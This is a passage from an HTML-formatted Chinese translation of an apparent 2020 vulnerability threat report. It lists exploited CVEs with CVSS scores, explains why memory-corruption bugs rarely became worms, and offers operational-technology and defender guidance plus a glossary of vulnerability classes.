0day)</span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-14871</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Oracle Solaris PAM Remote Code Execution</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-15999</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Google Chrome FreeType Heap Buffer Overflow</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">6.5</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span><span style="font-family:Arial,sans-serif;color:#595959;"> (reported as 0day)</span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3992</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">VMware ESXi OpenSLP Use-After-Free Remote Code  Execution (Incomplete Patch)</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">9.8</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Network infrastructure compromise</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-3118</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Cisco IOS XR Software Discovery Protocol Format String  Vulnerability &#34;CDPwn&#34;</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">8.8</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-1350</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows DNS Server Remote Code Execution  &#34;SigRed&#34;</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Targeted Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(237, 241, 242);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr><tr><td width="191" style="border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: 1px solid windowtext;border-top: none;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="color:black;"><strong><span style="font-family:Arial,sans-serif;color:#519BC8;letter-spacing:.33px;">CVE-2020-0796</span></strong></span></p><p><span style="font-family:Arial,sans-serif;color:#595959;letter-spacing:.33px;">Windows SMBv3 Client/Server Remote Code Execution  &#34;SMBGhost&#34;</span></p></td><td width="51" colspan="3" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">10</span></p></td><td width="134" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Symbol;color:#595959;">·</span><span style="font-family:Arial,sans-serif;color:#595959;">  Widespread Threat</span><span style="color:black;"><span style="font-family:Arial,sans-serif;color:#519BC8;">Exploited  in the wild</span></span></p></td><td width="93" colspan="2" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Remote code execution</span></p></td><td width="86" style="border-top: none;border-left: none;border-bottom: 1px solid windowtext;border-right: 1px solid windowtext;background: rgb(245, 246, 247);padding: 0.1px;"><p><span style="font-family:Arial,sans-serif;color:#595959;">Memory Corruption</span></p></td></tr></tbody></table><p><span style="font-size: 14px;">*卡巴斯基看到针对CVE-2020-0986漏洞的野生攻击行为后，提供了CVE-2020-0986的报告。但表示，在他们通知之前，微软已经准备了一个补丁。即使卡巴斯基不是唯一一家观察到此行为的公司，但仍然将这个CVE归为零日漏洞里。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">在经历过WannaCry的相关安全人员向我们归结了，当面对像2017年的MS17-010和永恒之蓝这种对Windows网络协议（如SMB和RDP）进行攻击的时候，我们应该如何做好防护措施。其实在某种意义上来讲在每周二进行漏洞公布的时候，会给网络安全团队带来很大的压力。并且在漏洞起名上又常常为这些协议漏洞起了一些类似“Blue”“Bleed”等吸引眼球的字眼。在对外的各种安全新闻中又经常将其与“wormable”绑定。但是这些漏洞几乎都没有占得住脚的依据。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">2020年的安全新闻标题鼓吹Windows网络协议漏洞中至少有四个可被蠕虫利用的漏洞，还会涉及一些主流供应商的其他漏洞。尽管这些漏洞有些早已声名在外，但预言中的蠕虫却一直没有出现（除了“SMBGhost”），更没有发现大规模的利用。这是为什么呢?</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">其实只要有足够的技能、机会和动机，大多数的漏洞都可以被或多或少的利用。但这也不排除有的漏洞更难触发，也更难可靠地将其武器化。当然，我们在这里说的是内存损坏漏洞，这是漏洞研究领域最容易导致服务异常的一类漏洞，也是攻击类别里比较著名的类别，如ETERNALBLUE和(在较小程度上)BlueKeep。我们说的内存损坏其实是一大类漏洞，涉及到滥用数据来更改内存并导致意外行为。其实内存损坏类别还包含更细的漏洞类型，如堆栈和堆缓冲区溢出、类型混淆和使用后释放(UAFs)。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">当成功利用内存破坏漏洞时，可能导致任意代码执行，或者导致未受处理的状态异常，最终使应用程序崩溃，从而触发拒绝服务(DoS)攻击。前者在局部攻击中更为常见，而后者在针对可上网目标的远程攻击中更为突出。近年来，安全措施做的越来越全面，在某一程度上来讲，极大地复杂化了内存破坏漏洞的利用。因此，开发利用内存损坏的攻击需要更加专业的技巧，通常需要手动进行二次侦察(例如，找到堆或内核内存泄漏，以成功执行攻击)，这极大的限制了漏洞利用应用程序的出现频率。即使内存破坏漏洞利用成功（例如ETERNALBLUE），但其可靠性也仍然是一个不容忽视的问题。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">另一方面，内存损坏漏洞编写的漏洞攻击与其他更容易开发的攻击相比，有一些不得不说的优势。比如，在进程或其他内存空间内执行任意代码可以更好地隐藏恶意代码，并留下较少的痕迹（例如，接触磁盘、生成新进程），这提高了恶意攻击者在进行恶意操作时的安全性。此类型的漏洞也可能直接出现在目标中，通常出现在不需要身份验证或单独安装的基本功能中。以10月份的“Bad Neighbor”漏洞（CVE-2020-16898）为例：漏洞默认影响所有版本的Windows，即需要开发在开发时能更加精细，但这样就不需要考虑入侵环境对成功率的影响。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">“Bad Neighbor”，“BlueGate”，“SigRed” 以及其他一些热门的cve，在今年从未发布过高效的公共可利用工具。虽然在多数情况下，根本就不会有这种工具的发布。因为想要将内存损坏的DoS动作转换为完全武器化的远程代码执行，这本身就并非是一件容易的事。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">但是，在没有公开工具发布作为借鉴的情况下，即使不是独立自己开发。产出这类型bug的攻击武器，其难度系数还是很高的。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">在资源的拥有度上，有官方背景的黑客和其他久经沙场的攻击者明显会更占优势。在一定程度上，那些漏洞贩子也是，他们可以直接通过倒卖信息获取更有利的资源。考虑到这一点，就可以理解，为什么2020年的一些内存损坏漏洞到最后揪出来的幕后黑手都是有官方背景的，不管它们是被披露为零日漏洞，还是在几个月后由情报机构公布的外国网络活动信息名单。其中Oracle Solaris CVE-2020-14871和Windows kernelCVE-2020-0986都符合前一种描述，而SigRed (CVE-2020-1350)和Cisco IOS XR CVE-2020-3118则符合后一种描述。IOS XR漏洞是一个典型的例子，这种漏洞在大规模上利用是完全不切实际的。攻击者想要完成成功的攻击需要在局域网内，直接连接到易受攻击的交换机上——这显然是一种监守自盗的行为。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">这种情况可能会在2021年更加突出，甚至可能在Windows网络协议中看到更严重的内存损坏漏洞。虽然在很多情况下，我们都处于忐忑不安的情绪下，但在我们真正面对它们时仍然需做到沉着修补不要惊慌。</span></p><p><br/></p><h1><span style="color: rgb(233, 95, 38);"><strong>Spotlight: Operational Technology（焦点：操作技术）</strong></span></h1><h1><strong><span style="color: rgb(233, 95, 38);">3.  如何利用网络更好的保护你的资产？</span></strong></h1><p><span style="font-size: 15px;">以下部分内容截取自SCADAfence研究团队撰写的文档。SCADAfence是一个为企业、工业组织和关键基础设施提供安全运营技术(OT)和物联网(IoT)网络技术的全球领导者。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">2020年出现了一系列严重程度很高的漏洞，它们威胁着OT和工业网络，随着深入了解此类脆弱性漏洞，发现想要利用这些漏洞，所面临的第一道坎就是技术的不统一。但2020年推出的这些漏洞数据，并不是第一次告诫我们这个行业潜在威胁的数量正在日益增长，毕竟该行业一直在遭受大规模的网络攻击。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">首先，OT，即操作技术(OperationTechnology )，是工厂内的自动化控制系统操作专员为自动化控制系统提供支持，确保生产正常进行的专业技术。其中许多系统都有几十年的历史，很明显，OT环境还没有为互联网时代做好准备。最初的解决方法是通过断开所有的网络连接来对这些系统进行隔离。然而，事实证明，这种方法相当不切实际。OT公司现在需要与互联网接轨来帮助他们保持产品更新以及面临更强力的竞争——比如改进的监控和物流、远程支持、软件更新、开发新的连接产品的能力，等等。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">因此，OT资产所有者必须解决在日益互联的世界中最小化风险的挑战。当然目前也遗留了许多过时系统仍然广泛地部署在操作环境中，并且其中大多数在设计时没有考虑到安全性。从重型设备和工业路由器到面向互联网的门户网站和通用软件库，几乎所有部署的OT系统都存在大量漏洞，这是不可回避的事实。这些漏洞影响到数百万设备和数百家供应商，并且有些很难通过源头（供应商）去实现减小风险，甚至有的供应商都技术去无法识别产生的这些漏洞。</span></p><p><br/></p><h2><span style="color: rgb(233, 95, 38);font-size: 15px;"><strong>OT 安全指南</strong></span></h2><p><span style="font-size: 15px;">虽然资产管理者通常拥有Windows终端、服务器和其他设备的全面资产清单，但在OT设备方面却少有记录。这一差距意味着资产所有者无法向其组织的漏洞管理流程提供必要的信息，这些信息包括但不限于供应商、设备型号、版本和是否对外暴露等全面详细信息。如果不全面了解OT设备可能会产生的攻击面，那对它的风险管理又怎么能够全面呢？</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">每当有漏洞被发布时，特别是当它们可以被利用时，资产所有者应该立刻执行资产评估，以确定漏洞的潜在影响和组织可能存在的风险。某些资产所有者可能仅仅基于CVSS分数对他们受影响的可能性进行评估，但是光凭这一种信息很容易导致误判，从而影响漏洞修复的效率。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">反过来想，当组织在评估影响 OT 和IoT 设备的漏洞研究或新闻文章时，也会有助于自己自检。在企业里如果不多维度去考虑如何降低风险的办法（例如不常见的配置或不太可能的攻击场景）最终会容易落得千虑一失的结果。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">当然，资产所有者还应考虑采用自动化工具，帮助识别、优先排序和修复OT漏洞，以支持OT漏洞管理计划。理想情况下，工具应帮助OT网络管理人员了解其易受攻击的面和被利用的概率；这可能包括自动资产清查、漏洞关联引擎和网络暴露分析工具。有关此主题的更多信息，请参阅SCADAfence OT漏洞管理指南（<span style="font-family: Arial, sans-serif;color: rgb(89, 89, 89);letter-spacing: 0.33px;background: rgb(254, 254, 254);"> </span></span><span style="font-family: Arial, sans-serif;color: rgb(81, 155, 200);letter-spacing: 0.33px;background: rgb(254, 254, 254);font-size: 15px;">OT Vulnerability Management guide</span><span style="font-size: 15px;">），该指南兼作工业设备修补的综合指南。</span></p><p><br/></p><h1><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">Guidance for Defenders（防御指南）</span></strong></span></h1><p><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">4.2020年威胁响应的主要要点</span></strong></p><p><span style="font-size: 15px;">依据本节中提供的防御指南可以有效的防止报告中许多漏洞的利用，并帮助维护者更快地识别出危害或可疑活动的迹象。首先我们发现，面向不同企业的安全建设方案很少是一模一样的，即使在相同规模、行业和市值的企业中，安全程序的成熟度也存在很大差异。所以，以下建议仅概括了适用于加强防范意识和本文中强调的一些特定风险的经验:</span></p><p><span style="font-size: 15px;"> </span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">即使未发现被高频利用的威胁，也应尽早并尽可能频繁地进行补丁修复。</span></p></li></ul><p><span style="font-size: 15px;">当严重漏洞在发布数小时或数天内被利用时，应在可能的情况下紧急执行修补程序。除了对入侵检测和预防系统进行微调外，监视可疑行为和事件也是必须的。在紧急情况下，仅仅依靠通用规则和签名认证来做防护是不可取的。因为攻击者通常会找到方法来绕过它们。F5 BIG-IP CVE-2020-5902就是一个很好的例子。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">即使是这份报告中几个最为严重的漏洞直到发布数周或数月后才被高频利用(例如，Zerologon, SMBghost, Microsoft Exchange Server CVE-2020-0688)。所以在任何情况下，执行30天的补丁修补周期计划，这将大大有助于防止时间跨度较长的攻击。特别是来自有一定规模的恶意攻击者(例如，僵尸网络运营商、勒索软件活动、脚本小子等)。</span></p><p><span style="font-size: 15px;"> </span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">采取纵深防御是比单独漏洞修补更有效的策略。</span></p></li></ul><p><span style="font-size: 15px;">老练的攻击者是足智多谋的,面对他们我们不能有一点的投机取巧。因为他们可以使用各种工具、技术、弱点、信息来构建一个成功的攻击链。这时候只做补丁修复也并不总是有效的，正如CVE-2020-14882和CVE-2020-16875那样，它们曾多次出现了补丁无效的情况。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">此外，在本报告中有许多单独存在的CVE可以与一个或多个额外的漏洞一起使用，以实现超出单个CVE影响范围的东西。防御者需要在攻击还未到来之前保持谨慎，不要将单个漏洞视为无关紧要的存在，而是选择在整个环境中实现实时控制和保持持续检测的机制。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">最后，需要确保跨网络通讯和主机设置有(最好是聚合的)日志记录，这将在威胁活动事件期间节省一些自检的时间。除此外，也需要多了解一些特征库和低成本(或免费)规则集, 至少可以让维护者基本了解其环境中的潜在入侵点在哪儿，当然也可以了解现有的商业解决方案。最终我们的目的是，提高安全人员的安全意识以及对威胁事件的敏锐度，这将有助于在危急来临时做出更快、更有效的反应。</span></p><p><span style="font-size: 15px;"> </span></p><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">保持更新自己的资产信息，其中特别是位于外围和可能被用作外部攻击者访问内部网络的节点的资产或产品。</span></p></li></ul><p><span style="font-size: 15px;">了解对外开放的资产和关键的网络入口点，可以在出现面向互联网的严重漏洞时节省时间。请特别注意安全网关产品（例如VPN和防火墙）以及其他由于常规运维或必要对外开放的资产。像CVE-2019-19781和CVE-2020-0688就是一个很好的案例。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">管理和管理接口不应暴露于公共互联网。同样的道理也适用于域控制器，也包含企业不希望外部攻击者能够探测的其他资产，例如物联网设备在不知情的情况下暴露在网上。定期审计暴露在互联网上的资产信息，如果条件允许的话，可以定期进行外部渗透测试。</span></p><p><span style="font-size: 15px;"><br/></span></p><h1><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">附录</span></strong></span></h1><p><br/></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 15px;">为什么选择这些CVE</span></strong></span></h2><p><span style="font-size: 15px;">在分析漏洞时，它所处的环境是最重要的，在管理漏洞时也是如此。对漏洞的深入研究之前我们是如何获知它的相关信息的呢——通过发出警告的供应商、来自朋友的一些私人情报、一个推特信息或一篇新闻文章。简而言之，本报告中的漏洞之所以会被我们重视，不仅是因为它们在各大社区反响较为强烈，关键还吸引了大量跃跃欲试的黑客对它的探究。并且，它们还会影响到各行各业以及个人平时所依赖的软件和系统。此数据中不包括2020 年所有 CVE 以及另外的主动攻击事件，但它确实可以用来代表各种攻击者利用案例进行研究。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">当然，我们的并不是要暗示其他任何一个CVE或漏洞都没有本文中出现的漏洞重要。我们只是让各个安全团队，网络管理员和整个防御者都深入了解了，哪些资产对于他们的环境来讲是至关重要的。以及面对威胁时所采取的措施是否会影响其业务优先级。</span></p><p><span style="font-size: 15px;"><br/></span></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">说明文档</span></strong></span></h2><p><span style="font-size: 15px;">本报告中介绍的CVE几乎都始于2020年，但有两个例外：Telerik UI CVE-2019-18935和Citrix NetScalerADC / Gateway CVE-2019-19781，它们均于2019年底发布，但是却在2020年得到持续利用。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">由于数据的可信度很重要，因此我们尽可能列举出坐实了被列为野外利用的漏洞，也就是说，我们引用了相对可信的检测、验证以及报告。本文所引用的主要来源包括美国情报机构关于高级持续性威胁(APT)利用的警报;安全公司分析他们在事件响应或其他调查期间跟踪的威胁和IOCs；以及指定野生开发的供应商公告(包括以零日披露的cve)。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">在本报告中，我们归类为在野生被利用的CVE并不是在2020历年期间被频繁利用的全部漏洞。例如,我们排除了一些利用在Internet Explorer,Chrome, Firefox上的漏洞。如果想了解这些信息可以在Google Project Zero 上的电子表格查看，上面记录了2020年在野生开发的其他一些零日漏洞。</span></p><p><span style="font-size: 15px;"><br/></span></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 17px;">术语表</span></strong></span></h2><p><br/></p><h3><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-size: 15px;">Attacker Utilities（攻击者实用程序）</span></strong></span></h3><p><span style="font-size: 15px;">远程代码执行（RCE）：远程命令执行漏洞，用户通过浏览器提交执行命令，由于服务器端没有针对执行函数做过滤，导致在没有指定绝对路径的情况下就执行命令，可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。通常指在目标系统上执行有效负载的能力（例如，获取shell会话）。有助于凭证窃取、数据过滤等。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">本地代码执行：在攻击者已具有某些访问权限的系统上运行本地代码的能力。最常用于提升权限（例如，以运行易受攻击应用程序的用户身份执行代码）。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">网络基础设施受损: 网络基础设施的危害，如网络管理系统或备份系统，可能使攻击者访问由该软件管理的所有内容。虚拟化、自动化和/或设备管理基础设施中的漏洞都属于这一类。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">网络枢纽：从外部网络转向内部网络的能力，通常通过利用面向互联网的系统（如 VPN、防火墙、路由器和其他网关设备）。网络枢轴使攻击者能够同时了解内部和外部流量，并在数据外泄、流量嗅探和目标网络内的进一步攻击方面提供帮助。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">文件列举：枚举目标文件的能力。读取文件并不会给攻击者提供一个自己执行代码的路径，而是作为原始语言，允许攻击者收集信息，从而使攻击链的次要部分(例如，远程代码执行)成为可能。有助于攻击者跨过身份验证。</span></p><p><br/></p><h3><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">Vulnerability Classes(脆弱性类别)</span></strong></h3><p><span style="font-size: 15px;">反序列化: 是应用程序能够将数据从可移植格式转换为本机语言的数据类型的过程。许多语言都支持反序列化，包括Java、.NET、Python和Ruby。当加载到本机语言中的数据可能被恶意方篡改时，反序列化过程可能会对安全性构成威胁。典型的攻击包括将数据配置为使用执行操作系统命令所需的参数调用方法。这将导致在加载应用程序的环境中执行命令。此安全问题的常见解决方案包括，对数据进行加密签名以确保其真实性，以及使用允许加载的数据类型的allowlist。相关CWE:CWE-502。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">访问控制不当：指对系统中特定接口的访问控制缺失或不足（通常是远程访问的API）。不正确地使用加密技术进行身份验证也属于此脆弱性类别。此问题的常见解决方案包括对所有敏感接口进行适当的身份验证、授权和记录，以及对所有相关机密文件的安全管理。相关CWE的列表：CWE-285、CWE-200、CWE-287、CWE-732。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">内存损坏：这是一类很大的漏洞，它涉及到通过各种方法来更改内存并产生意外行为来滥用数据。这个脆弱性类别包括不适当的边界控制、类型混淆、未初始化的数据使用，以及释放后数据的使用等等。这些漏洞通常在不被认为是“type-safe”的语言中表现出来。成功利用内存破坏漏洞可能导致正在运行的应用程序环境中任意执行代码，或者出现未处理的异常，最终导致应用程序崩溃并触发拒绝服务(DoS)。此问题的常见解决方案通常涉及对关键操作(如用于加载和存储数据的操作)的参数进行额外验证。近年来，由于开发了各种此类漏洞的应对措施和安全措施，如kASLR、控制流保护、win32k类型隔离等，现在想成功地利用这些类型的漏洞会变得更加复杂。相关cwe的清单:CWE-787、CWE-125、CWE-416、CWE-190、CWE-476。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">注入：这是一大类漏洞，涉及由关联系统以特定方式解释了由攻击者进行构建的的输入。在web应用程序中最常见的就是注入攻击，注入攻击通常会根据被解释的数据类型（例如SQL、LDAP、OS命令）进行更具体的分类。这些漏洞的根本原因几乎都是没有充分的过滤由发送方（恶意攻击者）收来的数据。这些漏洞利用往往对系统本身危害不大的，除非有意（如通过SQL或OS命令），否则很少导致服务出现问题。</span></p><p><span style="font-size: 15px;"> </span></p><p><span style="font-size: 15px;">特定的代码只能被他所匹配的环境所解释运行。例如，在web应用程序的情况下，SQL注入可以在后端数据库服务器上执行，而OS命令则被注入前端web服务器，JavaScript由最终用户的浏览器执行。因此，这类漏洞的独特之处在于，它通常通过某一个系统漏洞，去损害其他系统的完整性。此问题的常见解决方案通常涉及通过使用allowlist对参数实施严格的过滤。相关CWE的列表：CWE-79、CWE-20、CWE-89、CWE-94。</span></p><p><br/></p><h2><span style="color: rgb(233, 95, 38);"><strong>完整的漏洞列表</strong></span></h2><table cellspacing="0" cellpadding="0" width="555"><tbody><tr><td width="202" style="border-width: 1px;border-style: solid;border-color: windowtext;background: rgb(33, 179, 205);padding: 0.1px;"><p style="text-align:left;"><strong><span style="font-family:Arial,sans-serif;color:white;">CVE</span></strong></p></td><td width="50" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">CVSS v3</span></strong></p></td><td width="122" style="border-top: 1px solid windowtext;border-right: 1px solid windowtext;border-bottom: 1px solid windowtext;border-left: none;background: rgb(33, 179, 205);padding: 0.1px;"><p><strong><span style="font-family:Arial,sans-serif;color:white;">Threat Status</span></strong></p></td><td width="86" style="border-top: 1px solid windowtext;border-right: 1px solid 